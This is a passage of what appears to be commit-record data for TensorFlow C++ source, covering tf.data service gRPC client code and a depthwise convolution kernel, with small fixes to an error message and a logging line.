result.components.push_back(tensor);\n        break;\n      }\n      case GetElementResponse::kUncompressed:\n        for (const auto& component : resp.uncompressed().components()) {\n          result.components.emplace_back();\n          if (!result.components.back().FromProto(component)) {\n            return errors::Internal(\"Failed to parse tensor.\");\n          }\n        }\n        break;\n      case GetElementResponse::ELEMENT_NOT_SET:\n        break;\n    }\n    {\n      mutex_lock l(mu_);\n      active_contexts_.erase(&ctx);\n    }\n    if (!s.ok()) {\n      return grpc_util::WrapError(\"Failed to get element\", s);\n    }\n    return Status::OK();\n  }\n\n  void TryCancel() override {\n    mutex_lock l(mu_);\n    cancelled_ = true;\n    for (const auto& ctx : active_contexts_) {\n      ctx->TryCancel();\n    }\n  }\n\n private:\n  mutex mu_;\n  std::unique_ptr<WorkerService::Stub> stub_;\n  \/\/ Set of all currently active clients contexts. Used to support\n  \/\/ cancellation.\n  absl::flat_hash_set<::grpc::ClientContext*> active_contexts_\n      TF_GUARDED_BY(mu_);\n  \/\/ Indicates that the client has been cancelled, so no further requests should\n  \/\/ be accepted.\n  bool cancelled_ TF_GUARDED_BY(mu_) = false;\n};\n\nclass GrpcTransferClientRegistrar {\n public:\n  GrpcTransferClientRegistrar() {\n    DataTransferClient::Register(\n        \"grpc\", [](DataTransferClient::Config config,\n                   std::unique_ptr<DataTransferClient>* out) {\n          std::shared_ptr<grpc::ChannelCredentials> credentials;\n          TF_RETURN_IF_ERROR(CredentialsFactory::CreateClientCredentials(\n              config.protocol, &credentials));\n          *out = std::make_unique<GrpcDataTransferClient>(credentials,\n                                                          config.address);\n          return Status::OK();\n        });\n  }\n};\nstatic GrpcTransferClientRegistrar registrar;\n\nStatus DataServiceWorkerClient::GetElement(const GetElementRequest& req,\n                                           GetElementResult& result) {\n  TF_RETURN_IF_ERROR(EnsureInitialized());\n  return client_->GetElement(req, result);\n}\n\nStatus DataServiceWorkerClient::EnsureInitialized() {\n  mutex_lock l(mu_);\n  if (client_) {\n    return Status::OK();\n  }\n  TF_RETURN_IF_ERROR(DataTransferClient::Build(\n      transfer_protocol_, {protocol_, address_}, &client_));\n  return Status::OK();\n}\n\nvoid DataServiceWorkerClient::TryCancel() { client_->TryCancel(); }\n\nStatus CreateDataServiceDispatcherClient(\n    const std::string& address, const std::string& protocol,\n    std::unique_ptr<DataServiceDispatcherClient>& out) {\n  auto client =\n      absl::make_unique<DataServiceDispatcherClient>(address, protocol);\n  TF_RETURN_IF_ERROR(client->Initialize());\n  out = std::move(client);\n  return Status::OK();\n}\n\nStatus CreateDataServiceWorkerClient(\n    const std::string& address, const std::string& protocol,\n    const std::string& transfer_protocol,\n    std::unique_ptr<DataServiceWorkerClient>& out) {\n  auto client = absl::make_unique<DataServiceWorkerClient>(address, protocol,\n                                                           transfer_protocol);\n  TF_RETURN_IF_ERROR(client->Initialize());\n  out = std::move(client);\n  return Status::OK();\n}\n}  \/\/ namespace data\n}  \/\/ namespace tensorflow\n<commit_msg>[tf.data service] Fix tense in error message.<commit_after>\/* Copyright 2020 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#include \"tensorflow\/core\/data\/service\/data_service.h\"\n\n#include \"grpcpp\/create_channel.h\"\n#include \"grpcpp\/security\/credentials.h\"\n#include \"absl\/types\/optional.h\"\n#include \"tensorflow\/core\/data\/service\/credentials_factory.h\"\n#include \"tensorflow\/core\/data\/service\/data_transfer.h\"\n#include \"tensorflow\/core\/data\/service\/dispatcher.grpc.pb.h\"\n#include \"tensorflow\/core\/data\/service\/grpc_util.h\"\n#include \"tensorflow\/core\/data\/service\/worker.grpc.pb.h\"\n#include \"tensorflow\/core\/data\/service\/worker.pb.h\"\n#include \"tensorflow\/core\/framework\/dataset.h\"\n#include \"tensorflow\/core\/platform\/errors.h\"\n\nnamespace tensorflow {\nnamespace data {\n\nnamespace {\nconstexpr const char kParallelEpochs[] = \"parallel_epochs\";\nconstexpr const char kDistributedEpoch[] = \"distributed_epoch\";\n\n}  \/\/ namespace\n\nStatus ParseProcessingMode(const std::string& s, ProcessingMode& mode) {\n  if (s == kParallelEpochs) {\n    mode = ProcessingMode::PARALLEL_EPOCHS;\n  } else if (s == kDistributedEpoch) {\n    mode = ProcessingMode::DISTRIBUTED_EPOCH;\n  } else {\n    return errors::InvalidArgument(\"Unrecognized processing mode: \", s);\n  }\n  return Status::OK();\n}\n\nstd::string ProcessingModeToString(ProcessingMode mode) {\n  switch (mode) {\n    case ProcessingMode::PARALLEL_EPOCHS:\n      return kParallelEpochs;\n    case ProcessingMode::DISTRIBUTED_EPOCH:\n      return kDistributedEpoch;\n    default:\n      DCHECK(false);\n      return \"Unknown\";\n  }\n}\n\nStatus DataServiceDispatcherClient::WorkerHeartbeat(\n    const std::string& worker_address, const std::string& transfer_address,\n    const std::vector<int64>& current_tasks, std::vector<TaskDef>& new_tasks,\n    std::vector<int64>& tasks_to_delete) {\n  TF_RETURN_IF_ERROR(EnsureInitialized());\n  WorkerHeartbeatRequest req;\n  req.set_worker_address(worker_address);\n  req.set_transfer_address(transfer_address);\n  for (int64 task : current_tasks) {\n    req.add_current_tasks(task);\n  }\n  WorkerHeartbeatResponse resp;\n  grpc::ClientContext client_ctx;\n  grpc::Status status = stub_->WorkerHeartbeat(&client_ctx, req, &resp);\n  if (!status.ok()) {\n    return grpc_util::WrapError(\"Failed to perform worker heartbeat\", status);\n  }\n  for (const auto& task : resp.new_tasks()) {\n    new_tasks.push_back(task);\n  }\n  for (int64 task_to_delete : resp.tasks_to_delete()) {\n    tasks_to_delete.push_back(task_to_delete);\n  }\n  return Status::OK();\n}\n\nStatus DataServiceDispatcherClient::WorkerUpdate(\n    const std::string& worker_address,\n    std::vector<TaskProgress>& task_progress) {\n  TF_RETURN_IF_ERROR(EnsureInitialized());\n  WorkerUpdateRequest req;\n  req.set_worker_address(worker_address);\n  for (const auto& update : task_progress) {\n    *(req.add_updates()) = update;\n  }\n  WorkerUpdateResponse resp;\n  grpc::ClientContext client_ctx;\n  grpc::Status status = stub_->WorkerUpdate(&client_ctx, req, &resp);\n  if (!status.ok()) {\n    return grpc_util::WrapError(\"Failed to send worker update\", status);\n  }\n  return Status::OK();\n}\n\nStatus DataServiceDispatcherClient::GetDatasetDef(int64 dataset_id,\n                                                  DatasetDef& dataset_def) {\n  TF_RETURN_IF_ERROR(EnsureInitialized());\n  GetDatasetDefRequest req;\n  req.set_dataset_id(dataset_id);\n  GetDatasetDefResponse resp;\n  grpc::ClientContext client_ctx;\n  grpc::Status status = stub_->GetDatasetDef(&client_ctx, req, &resp);\n  if (!status.ok()) {\n    return grpc_util::WrapError(\"Failed to get dataset def\", status);\n  }\n  dataset_def = resp.dataset_def();\n  return Status::OK();\n}\n\nStatus DataServiceDispatcherClient::GetSplit(int64 job_id, int64 repetition,\n                                             Tensor& split,\n                                             bool& end_of_splits) {\n  TF_RETURN_IF_ERROR(EnsureInitialized());\n  GetSplitRequest req;\n  req.set_job_id(job_id);\n  req.set_repetition(repetition);\n  GetSplitResponse resp;\n  grpc::ClientContext client_ctx;\n  grpc::Status status = stub_->GetSplit(&client_ctx, req, &resp);\n  if (!status.ok()) {\n    return grpc_util::WrapError(\"Failed to get split\", status);\n  }\n  end_of_splits = resp.end_of_splits();\n  if (!end_of_splits) {\n    if (!split.FromProto(resp.split())) {\n      return errors::Internal(\"Failed to parse split tensor proto\");\n    }\n  }\n  return Status::OK();\n}\n\nStatus DataServiceDispatcherClient::RegisterDataset(GraphDef dataset,\n                                                    int64& dataset_id) {\n  TF_RETURN_IF_ERROR(EnsureInitialized());\n  GetOrRegisterDatasetRequest req;\n  *req.mutable_dataset()->mutable_graph() = dataset;\n  GetOrRegisterDatasetResponse resp;\n  grpc::ClientContext client_ctx;\n  grpc::Status status = stub_->GetOrRegisterDataset(&client_ctx, req, &resp);\n  if (!status.ok()) {\n    return grpc_util::WrapError(\"Failed to register dataset\", status);\n  }\n  dataset_id = resp.dataset_id();\n  return Status::OK();\n}\n\nStatus DataServiceDispatcherClient::GetOrCreateJob(\n    int64 dataset_id, ProcessingMode processing_mode,\n    const absl::optional<JobKey>& job_key, absl::optional<int64> num_consumers,\n    int64& job_client_id) {\n  TF_RETURN_IF_ERROR(EnsureInitialized());\n  GetOrCreateJobRequest req;\n  req.set_dataset_id(dataset_id);\n  req.set_processing_mode(ProcessingModeDef(processing_mode));\n  if (job_key.has_value()) {\n    *req.mutable_job_key() = job_key.value();\n  }\n  if (num_consumers.has_value()) {\n    req.set_num_consumers(num_consumers.value());\n  }\n  GetOrCreateJobResponse resp;\n  grpc::ClientContext client_ctx;\n  grpc::Status status = stub_->GetOrCreateJob(&client_ctx, req, &resp);\n  if (!status.ok()) {\n    return grpc_util::WrapError(\n        absl::StrCat(\"Failed to get or create job for dataset with id \",\n                     dataset_id),\n        status);\n  }\n  job_client_id = resp.job_client_id();\n  return Status::OK();\n}\n\nStatus DataServiceDispatcherClient::ReleaseJobClient(int64 job_client_id) {\n  TF_RETURN_IF_ERROR(EnsureInitialized());\n  ReleaseJobClientRequest req;\n  req.set_job_client_id(job_client_id);\n  ReleaseJobClientResponse resp;\n  grpc::ClientContext client_ctx;\n  grpc::Status status = stub_->ReleaseJobClient(&client_ctx, req, &resp);\n  if (!status.ok()) {\n    return grpc_util::WrapError(\n        absl::StrCat(\"Failed to release job client with id \", job_client_id),\n        status);\n  }\n  return Status::OK();\n}\n\nStatus DataServiceDispatcherClient::MaybeRemoveTask(int64 task_id,\n                                                    int64 consumer_index,\n                                                    int64 round,\n                                                    bool& removed) {\n  TF_RETURN_IF_ERROR(EnsureInitialized());\n  MaybeRemoveTaskRequest req;\n  req.set_task_id(task_id);\n  req.set_consumer_index(consumer_index);\n  req.set_round(round);\n  MaybeRemoveTaskResponse resp;\n  grpc::ClientContext client_ctx;\n  grpc::Status status = stub_->MaybeRemoveTask(&client_ctx, req, &resp);\n  if (!status.ok()) {\n    return grpc_util::WrapError(\"Failed to call MaybeRemoveTask\", status);\n  }\n  removed = resp.removed();\n  return Status::OK();\n}\n\nStatus DataServiceDispatcherClient::ClientHeartbeat(\n    ClientHeartbeatRequest& req, ClientHeartbeatResponse& resp) {\n  TF_RETURN_IF_ERROR(EnsureInitialized());\n  grpc::ClientContext ctx;\n  grpc::Status s = stub_->ClientHeartbeat(&ctx, req, &resp);\n  if (!s.ok()) {\n    return grpc_util::WrapError(\"Failed to get tasks\", s);\n  }\n  return Status::OK();\n}\n\nStatus DataServiceDispatcherClient::GetWorkers(\n    std::vector<WorkerInfo>& workers) {\n  TF_RETURN_IF_ERROR(EnsureInitialized());\n  GetWorkersRequest req;\n  GetWorkersResponse resp;\n  grpc::ClientContext ctx;\n  grpc::Status s = stub_->GetWorkers(&ctx, req, &resp);\n  if (!s.ok()) {\n    return grpc_util::WrapError(\"Failed to get workers\", s);\n  }\n  workers.clear();\n  for (auto& worker : resp.workers()) {\n    workers.push_back(worker);\n  }\n  return Status::OK();\n}\n\nStatus DataServiceDispatcherClient::EnsureInitialized() {\n  mutex_lock l(mu_);\n  if (stub_) {\n    return Status::OK();\n  }\n  std::shared_ptr<grpc::ChannelCredentials> credentials;\n  TF_RETURN_IF_ERROR(\n      CredentialsFactory::CreateClientCredentials(protocol_, &credentials));\n  grpc::ChannelArguments args;\n  args.SetMaxReceiveMessageSize(std::numeric_limits<int32>::max());\n  args.SetInt(GRPC_ARG_USE_LOCAL_SUBCHANNEL_POOL, true);\n  auto channel = grpc::CreateCustomChannel(address_, credentials, args);\n  stub_ = DispatcherService::NewStub(channel);\n  GetVersionRequest req;\n  GetVersionResponse resp;\n  TF_RETURN_IF_ERROR(grpc_util::Retry(\n      [&] {\n        grpc::ClientContext ctx;\n        grpc::Status s = stub_->GetVersion(&ctx, req, &resp);\n        if (!s.ok()) {\n          return grpc_util::WrapError(\"Failed to get dispatcher version\", s);\n        }\n        return Status::OK();\n      },\n      \"check service version\",\n      \/*deadline_micros=*\/kint64max));\n  if (resp.version() != kDataServiceVersion) {\n    return errors::FailedPrecondition(\n        \"Version mismatch with tf.data service server. The server is running \"\n        \"version \",\n        resp.version(), \", while the client is running version \",\n        kDataServiceVersion,\n        \". Please ensure that the client and server side are running the \"\n        \"same version of TensorFlow.\");\n  }\n  return Status::OK();\n}\n\nclass GrpcDataTransferClient : public DataTransferClient {\n public:\n  GrpcDataTransferClient(std::shared_ptr<grpc::ChannelCredentials> credentials,\n                         std::string address) {\n    grpc::ChannelArguments args;\n    args.SetMaxReceiveMessageSize(-1);\n    auto channel = grpc::CreateCustomChannel(address, credentials, args);\n    stub_ = WorkerService::NewStub(channel);\n  }\n\n  Status GetElement(const GetElementRequest& req,\n                    GetElementResult& result) override {\n    {\n      mutex_lock l(mu_);\n      if (cancelled_) {\n        return errors::Cancelled(\"Client was cancelled.\");\n      }\n    }\n    grpc::ClientContext ctx;\n    {\n      mutex_lock l(mu_);\n      active_contexts_.insert(&ctx);\n    }\n    GetElementResponse resp;\n    grpc::Status s = stub_->GetElement(&ctx, req, &resp);\n    result.end_of_sequence = resp.end_of_sequence();\n    result.skip = resp.skip_task();\n    switch (resp.element_case()) {\n      case GetElementResponse::kCompressed: {\n        Tensor tensor(DT_VARIANT, TensorShape{});\n        tensor.scalar<Variant>()() = std::move(resp.compressed());\n        result.components.push_back(tensor);\n        break;\n      }\n      case GetElementResponse::kUncompressed:\n        for (const auto& component : resp.uncompressed().components()) {\n          result.components.emplace_back();\n          if (!result.components.back().FromProto(component)) {\n            return errors::Internal(\"Failed to parse tensor.\");\n          }\n        }\n        break;\n      case GetElementResponse::ELEMENT_NOT_SET:\n        break;\n    }\n    {\n      mutex_lock l(mu_);\n      active_contexts_.erase(&ctx);\n    }\n    if (!s.ok()) {\n      return grpc_util::WrapError(\"Failed to get element\", s);\n    }\n    return Status::OK();\n  }\n\n  void TryCancel() override {\n    mutex_lock l(mu_);\n    cancelled_ = true;\n    for (const auto& ctx : active_contexts_) {\n      ctx->TryCancel();\n    }\n  }\n\n private:\n  mutex mu_;\n  std::unique_ptr<WorkerService::Stub> stub_;\n  \/\/ Set of all currently active clients contexts. Used to support\n  \/\/ cancellation.\n  absl::flat_hash_set<::grpc::ClientContext*> active_contexts_\n      TF_GUARDED_BY(mu_);\n  \/\/ Indicates that the client has been cancelled, so no further requests should\n  \/\/ be accepted.\n  bool cancelled_ TF_GUARDED_BY(mu_) = false;\n};\n\nclass GrpcTransferClientRegistrar {\n public:\n  GrpcTransferClientRegistrar() {\n    DataTransferClient::Register(\n        \"grpc\", [](DataTransferClient::Config config,\n                   std::unique_ptr<DataTransferClient>* out) {\n          std::shared_ptr<grpc::ChannelCredentials> credentials;\n          TF_RETURN_IF_ERROR(CredentialsFactory::CreateClientCredentials(\n              config.protocol, &credentials));\n          *out = std::make_unique<GrpcDataTransferClient>(credentials,\n                                                          config.address);\n          return Status::OK();\n        });\n  }\n};\nstatic GrpcTransferClientRegistrar registrar;\n\nStatus DataServiceWorkerClient::GetElement(const GetElementRequest& req,\n                                           GetElementResult& result) {\n  TF_RETURN_IF_ERROR(EnsureInitialized());\n  return client_->GetElement(req, result);\n}\n\nStatus DataServiceWorkerClient::EnsureInitialized() {\n  mutex_lock l(mu_);\n  if (client_) {\n    return Status::OK();\n  }\n  TF_RETURN_IF_ERROR(DataTransferClient::Build(\n      transfer_protocol_, {protocol_, address_}, &client_));\n  return Status::OK();\n}\n\nvoid DataServiceWorkerClient::TryCancel() { client_->TryCancel(); }\n\nStatus CreateDataServiceDispatcherClient(\n    const std::string& address, const std::string& protocol,\n    std::unique_ptr<DataServiceDispatcherClient>& out) {\n  auto client =\n      absl::make_unique<DataServiceDispatcherClient>(address, protocol);\n  TF_RETURN_IF_ERROR(client->Initialize());\n  out = std::move(client);\n  return Status::OK();\n}\n\nStatus CreateDataServiceWorkerClient(\n    const std::string& address, const std::string& protocol,\n    const std::string& transfer_protocol,\n    std::unique_ptr<DataServiceWorkerClient>& out) {\n  auto client = absl::make_unique<DataServiceWorkerClient>(address, protocol,\n                                                           transfer_protocol);\n  TF_RETURN_IF_ERROR(client->Initialize());\n  out = std::move(client);\n  return Status::OK();\n}\n}  \/\/ namespace data\n}  \/\/ namespace tensorflow\n<|endoftext|>"}
{"text":"<commit_before>\/* Copyright 2015 Google Inc. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#define EIGEN_USE_THREADS\n\n#include <algorithm>\n#include <cmath>\n\n#include \"tensorflow\/core\/framework\/numeric_op.h\"\n#include \"tensorflow\/core\/framework\/op_kernel.h\"\n#include \"tensorflow\/core\/framework\/register_types.h\"\n#include \"tensorflow\/core\/framework\/tensor.h\"\n#include \"tensorflow\/core\/framework\/tensor_shape.h\"\n#include \"tensorflow\/core\/framework\/tensor_types.h\"\n#include \"tensorflow\/core\/framework\/types.h\"\n#include \"tensorflow\/core\/kernels\/depthwise_conv_op.h\"\n#include \"tensorflow\/core\/kernels\/ops_util.h\"\n#include \"tensorflow\/core\/lib\/core\/status.h\"\n#include \"tensorflow\/core\/platform\/logging.h\"\n#include \"tensorflow\/core\/platform\/types.h\"\n#include \"tensorflow\/core\/util\/padding.h\"\n\n#if GOOGLE_CUDA\n#include \"tensorflow\/core\/common_runtime\/gpu_device_context.h\"\n#include \"tensorflow\/core\/platform\/stream_executor.h\"\n#endif  \/\/ GOOGLE_CUDA\n\nnamespace tensorflow {\n\ntypedef Eigen::ThreadPoolDevice CPUDevice;\ntypedef Eigen::GpuDevice GPUDevice;\n\ntemplate <typename Device, typename T>\nstruct LaunchDepthwiseConvOp;\n\ntemplate <typename T>\nstruct LaunchDepthwiseConvOp<CPUDevice, T> {\n  static void launch(OpKernelContext* ctx, const DepthwiseArgs& args,\n                     const T* input, const T* filter, T* output) {\n    \/\/ Naive for loop as a reference point without concerns about performance.\n    \/\/ Expected to be replaced later.\n    \/\/ TODO(andydavis): replace this with an optimized version\n    for (int b = 0; b < args.batch; ++b) {\n      for (int out_r = 0; out_r < args.out_rows; ++out_r) {\n        for (int out_c = 0; out_c < args.out_cols; ++out_c) {\n          for (int out_d = 0; out_d < args.out_depth; ++out_d) {\n            T sum = 0;\n            const int in_r_start = out_r * args.stride - args.pad_rows;\n            const int in_c_start = out_c * args.stride - args.pad_cols;\n            const int in_d = out_d \/ args.depth_multiplier;\n            const int filter_dm = out_d % args.depth_multiplier;\n\n            for (int f_r = 0; f_r < args.filter_rows; ++f_r) {\n              for (int f_c = 0; f_c < args.filter_cols; ++f_c) {\n                int in_r = in_r_start + f_r;\n                int in_c = in_c_start + f_c;\n\n                if (in_r >= 0 && in_r < args.in_rows && in_c >= 0 &&\n                    in_c < args.in_cols) {\n                  int input_offset =\n                      in_d +\n                      args.in_depth *\n                          (in_c + args.in_cols * (in_r + args.in_rows * b));\n                  int filter_offset =\n                      filter_dm +\n                      args.depth_multiplier *\n                          (in_d +\n                           args.in_depth * (f_c + args.filter_cols * f_r));\n                  sum += input[input_offset] * filter[filter_offset];\n                }\n              }\n            }\n\n            int output_offset =\n                out_d +\n                args.out_depth *\n                    (out_c + args.out_cols * (out_r + args.out_rows * b));\n            output[output_offset] = sum;\n          }\n        }\n      }\n    }\n  }\n};\n\n#if GOOGLE_CUDA\n\ntemplate <typename T>\nstruct DepthwiseConv2dGPULaunch {\n  void Run(const GPUDevice& d, const DepthwiseArgs args, const T* input,\n           const T* filter, T* output);\n};\n\ntemplate <typename T>\nstruct LaunchDepthwiseConvOp<GPUDevice, T> {\n  static void launch(OpKernelContext* ctx, const DepthwiseArgs args,\n                     const T* input, const T* filter, T* output) {\n    const GPUDevice& d = ctx->eigen_device<GPUDevice>();\n    DepthwiseConv2dGPULaunch<T>().Run(d, args, input, filter, output);\n    auto stream = ctx->op_device_context<GPUDeviceContext>()->stream();\n    OP_REQUIRES(ctx, stream->ok(),\n                errors::Internal(\"Launch of gpu kernel for SplitOp failed\"));\n  }\n};\n\n#endif\n\ntemplate <typename Device, typename T>\nclass DepthwiseConv2dNativeOp : public BinaryOp<T> {\n public:\n  explicit DepthwiseConv2dNativeOp(OpKernelConstruction* context)\n      : BinaryOp<T>(context) {\n    OP_REQUIRES_OK(context, context->GetAttr(\"strides\", &strides_));\n    OP_REQUIRES(context, strides_.size() == 4,\n                errors::InvalidArgument(\"Sliding window strides field must \"\n                                        \"specify 4 dimensions\"));\n    OP_REQUIRES(context, strides_[1] == strides_[2],\n                errors::InvalidArgument(\n                    \"Current implementation only supports equal length \"\n                    \"strides in the row and column dimensions.\"));\n    OP_REQUIRES(\n        context, (strides_[0] == 1 && strides_[3] == 1),\n        errors::InvalidArgument(\"Current implementation does not yet support \"\n                                \"strides in the batch and depth dimensions.\"));\n    OP_REQUIRES_OK(context, context->GetAttr(\"padding\", &padding_));\n  }\n\n  void Compute(OpKernelContext* context) override {\n    \/\/ Input tensor is of the following dimensions:\n    \/\/ [ batch, in_rows, in_cols, in_depth ]\n    const Tensor& input = context->input(0);\n    auto input_ptr = input.template flat<T>().data();\n\n    \/\/ Input filter is of the following dimensions:\n    \/\/ [ filter_rows, filter_cols, in_depth, depth_multiplier]\n    const Tensor& filter = context->input(1);\n    auto filter_ptr = filter.template flat<T>().data();\n\n    \/\/ For 2D convolution, there should be 4 dimensions.\n    OP_REQUIRES(context, input.dims() == 4,\n                errors::InvalidArgument(\"input must be 4-dimensional\",\n                                        input.shape().DebugString()));\n    OP_REQUIRES(context, filter.dims() == 4,\n                errors::InvalidArgument(\"filter must be 4-dimensional: \",\n                                        filter.shape().DebugString()));\n\n    \/\/ The last dimension for input is in_depth. It must be the same as the\n    \/\/ filter's in_depth.\n    const int32 in_depth = input.dim_size(3);\n    OP_REQUIRES(\n        context, in_depth == filter.dim_size(2),\n        errors::InvalidArgument(\"input and filter must have the same depth: \",\n                                in_depth, \" vs \", filter.dim_size(2)));\n\n    \/\/ The last dimension for filter is depth multiplier.\n    const int32 depth_multiplier = filter.dim_size(3);\n\n    \/\/ The output depth is input depth x depth multipler\n    const int32 out_depth = in_depth * depth_multiplier;\n\n    \/\/ The second dimension for input is rows\/height.\n    \/\/ The first dimension for filter is rows\/height.\n    const int32 input_rows = input.dim_size(1);\n    const int32 filter_rows = filter.dim_size(0);\n\n    \/\/ The third dimension for input is columns\/width.\n    \/\/ The second dimension for filter is columns\/width.\n    const int32 input_cols = input.dim_size(2);\n    const int32 filter_cols = filter.dim_size(1);\n\n    \/\/ The first dimension for input is batch.\n    const int32 batch = input.dim_size(0);\n\n    \/\/ For now we take the stride from the second dimension only (we\n    \/\/ assume row = col stride, and do not support striding on the\n    \/\/ batch or depth dimension).\n    const int32 stride = strides_[1];\n\n    int32 out_rows = 0, out_cols = 0, pad_rows = 0, pad_cols = 0;\n    OP_REQUIRES_OK(context,\n                   Get2dOutputSize(input_rows, input_cols, filter_rows,\n                                   filter_cols, stride, stride, padding_,\n                                   &out_rows, &out_cols, &pad_rows, &pad_cols));\n    TensorShape out_shape({batch, out_rows, out_cols, out_depth});\n    OP_REQUIRES(\n        context, out_shape.num_elements() <= 2147483647,\n        errors::InvalidArgument(\"total number of outputs should be within the \"\n                                \"range of int which is used in the GPU kernel\",\n                                in_depth, \" vs \", filter.dim_size(2)));\n\n    \/\/ Output tensor is of the following dimensions:\n    \/\/ [ in_batch, out_rows, out_cols, out_depth ]\n    Tensor* output = nullptr;\n    OP_REQUIRES_OK(context, context->allocate_output(0, out_shape, &output));\n    auto output_ptr = output->template flat<T>().data();\n\n    DepthwiseArgs args;\n    args.batch = batch;\n    args.in_rows = input_rows;\n    args.in_cols = input_cols;\n    args.in_depth = in_depth;\n    args.filter_rows = filter_rows;\n    args.filter_cols = filter_cols;\n    args.depth_multiplier = depth_multiplier;\n    args.stride = stride;\n    args.pad_rows = pad_rows;\n    args.pad_cols = pad_cols;\n    args.out_rows = out_rows;\n    args.out_cols = out_cols;\n    args.out_depth = out_depth;\n\n    VLOG(2) << \"DepthwiseConv2dNative: \"\n            << \" Input: [\" << batch << \", \" << input_rows << \", \" << input_cols\n            << \", \" << in_depth << \"]; Filter: [\" << filter_rows << \", \"\n            << filter_cols << \", \" << in_depth << \", \" << depth_multiplier\n            << \"]; stride = \" << stride << \", pad_rows = \" << pad_rows\n            << \", pad_cols = \" << pad_cols << \", output: [\" << batch << \", \"\n            << out_rows << \", \" << out_cols << \", \" << out_depth << \"]\" << endl;\n\n    \/\/ If there is nothing to compute, return.\n    if (out_shape.num_elements() == 0) {\n      return;\n    }\n    LaunchDepthwiseConvOp<Device, T>::launch(context, args, input_ptr,\n                                             filter_ptr, output_ptr);\n  }\n\n private:\n  std::vector<int32> strides_;\n  Padding padding_;\n\n  TF_DISALLOW_COPY_AND_ASSIGN(DepthwiseConv2dNativeOp);\n};\n\nREGISTER_KERNEL_BUILDER(\n    Name(\"DepthwiseConv2dNative\").Device(DEVICE_CPU).TypeConstraint<float>(\"T\"),\n    DepthwiseConv2dNativeOp<CPUDevice, float>);\n\nREGISTER_KERNEL_BUILDER(Name(\"DepthwiseConv2dNative\")\n                            .Device(DEVICE_CPU)\n                            .TypeConstraint<double>(\"T\"),\n                        DepthwiseConv2dNativeOp<CPUDevice, double>);\n\n#if GOOGLE_CUDA\nREGISTER_KERNEL_BUILDER(\n    Name(\"DepthwiseConv2dNative\").Device(DEVICE_GPU).TypeConstraint<float>(\"T\"),\n    DepthwiseConv2dNativeOp<GPUDevice, float>);\n\nREGISTER_KERNEL_BUILDER(Name(\"DepthwiseConv2dNative\")\n                            .Device(DEVICE_GPU)\n                            .TypeConstraint<double>(\"T\"),\n                        DepthwiseConv2dNativeOp<GPUDevice, double>);\n#endif\n\n}  \/\/ namespace tensorflow\n<commit_msg>Remove endl at the end of VLOG. Change: 115594986<commit_after>\/* Copyright 2015 Google Inc. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#define EIGEN_USE_THREADS\n\n#include <algorithm>\n#include <cmath>\n\n#include \"tensorflow\/core\/framework\/numeric_op.h\"\n#include \"tensorflow\/core\/framework\/op_kernel.h\"\n#include \"tensorflow\/core\/framework\/register_types.h\"\n#include \"tensorflow\/core\/framework\/tensor.h\"\n#include \"tensorflow\/core\/framework\/tensor_shape.h\"\n#include \"tensorflow\/core\/framework\/tensor_types.h\"\n#include \"tensorflow\/core\/framework\/types.h\"\n#include \"tensorflow\/core\/kernels\/depthwise_conv_op.h\"\n#include \"tensorflow\/core\/kernels\/ops_util.h\"\n#include \"tensorflow\/core\/lib\/core\/status.h\"\n#include \"tensorflow\/core\/platform\/logging.h\"\n#include \"tensorflow\/core\/platform\/types.h\"\n#include \"tensorflow\/core\/util\/padding.h\"\n\n#if GOOGLE_CUDA\n#include \"tensorflow\/core\/common_runtime\/gpu_device_context.h\"\n#include \"tensorflow\/core\/platform\/stream_executor.h\"\n#endif  \/\/ GOOGLE_CUDA\n\nnamespace tensorflow {\n\ntypedef Eigen::ThreadPoolDevice CPUDevice;\ntypedef Eigen::GpuDevice GPUDevice;\n\ntemplate <typename Device, typename T>\nstruct LaunchDepthwiseConvOp;\n\ntemplate <typename T>\nstruct LaunchDepthwiseConvOp<CPUDevice, T> {\n  static void launch(OpKernelContext* ctx, const DepthwiseArgs& args,\n                     const T* input, const T* filter, T* output) {\n    \/\/ Naive for loop as a reference point without concerns about performance.\n    \/\/ Expected to be replaced later.\n    \/\/ TODO(andydavis): replace this with an optimized version\n    for (int b = 0; b < args.batch; ++b) {\n      for (int out_r = 0; out_r < args.out_rows; ++out_r) {\n        for (int out_c = 0; out_c < args.out_cols; ++out_c) {\n          for (int out_d = 0; out_d < args.out_depth; ++out_d) {\n            T sum = 0;\n            const int in_r_start = out_r * args.stride - args.pad_rows;\n            const int in_c_start = out_c * args.stride - args.pad_cols;\n            const int in_d = out_d \/ args.depth_multiplier;\n            const int filter_dm = out_d % args.depth_multiplier;\n\n            for (int f_r = 0; f_r < args.filter_rows; ++f_r) {\n              for (int f_c = 0; f_c < args.filter_cols; ++f_c) {\n                int in_r = in_r_start + f_r;\n                int in_c = in_c_start + f_c;\n\n                if (in_r >= 0 && in_r < args.in_rows && in_c >= 0 &&\n                    in_c < args.in_cols) {\n                  int input_offset =\n                      in_d +\n                      args.in_depth *\n                          (in_c + args.in_cols * (in_r + args.in_rows * b));\n                  int filter_offset =\n                      filter_dm +\n                      args.depth_multiplier *\n                          (in_d +\n                           args.in_depth * (f_c + args.filter_cols * f_r));\n                  sum += input[input_offset] * filter[filter_offset];\n                }\n              }\n            }\n\n            int output_offset =\n                out_d +\n                args.out_depth *\n                    (out_c + args.out_cols * 